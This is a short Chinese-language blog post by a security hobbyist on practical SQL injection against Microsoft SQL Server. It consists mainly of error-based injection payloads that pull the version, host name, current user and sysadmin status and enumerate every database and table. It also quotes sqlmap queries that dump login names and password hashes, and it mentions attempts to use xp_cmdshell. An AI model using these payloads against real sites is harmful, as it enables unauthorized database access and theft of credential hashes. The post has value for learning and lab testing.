Mssql注入实战
信息收集
Emmm,mssql默认是存在sysobjects这个表的。
判断数据库:1
2'and exists (select * from sysobjects) -- //正确
'and exists (select * from mysysobjects) -- //>对象名 'mysysobjects' 无效。
基本信息收集:1
2
3
4
5
6'and 1=@@version-- //数据库
'and 1=host_name()-- //主机名
'and 1=@@servername-- //服务名
'and 1=db_name()-- //当前数据库名
'and 1=user-- //当前用户
'and 1=(select IS_SRVROLEMEMBER('sysadmin'))-- //返回正常为sa权限,也就是最高的权限
数据库:1
2'and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))-- //一次爆出所有数据库(仅限mssql2005以上 )
'and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))-- //一次爆出所有数据库(仅限mssql2005以上 )
表名:1
'and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- //一次爆数据库所有表(只限于mssql2005及以上版本)
…..
后来发现xp_cmdshell启用不了,又很少遇见mssql的站点,所以就去搭了一个mssql的环境,电脑卡死了,搭建了一上午~
mssql
首先来看一下默认的数据:1
2
3
4master //存放数据库中的配置信息、用户登陆信息等
model //建立数据库的模板
msdb //记录操作
tempdb //存放临时数据
主要是想看下mssql数据库的账号密码啥的,就去sqlmap里面翻了翻命令:1
2
3
4
5
6
7<is_dba query="IS_SRVROLEMEMBER('sysadmin')=1" query2="IS_SRVROLEMEMBER('sysadmin','%s')=1"/>
<users>
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
</users>
<passwords>
<inband query="SELECT name,master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins" query2="SELECT name,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins" condition="name"/>
</passwords>
然后运行下命令
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:Mssql注入实战
本文作者:sher10ck
发布时间:2019-07-25, 09:07:22
最后更新:2020-01-13, 13:05:03
原始链接:http://sherlocz.github.io/2019/07/25/Mssql注入实战/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。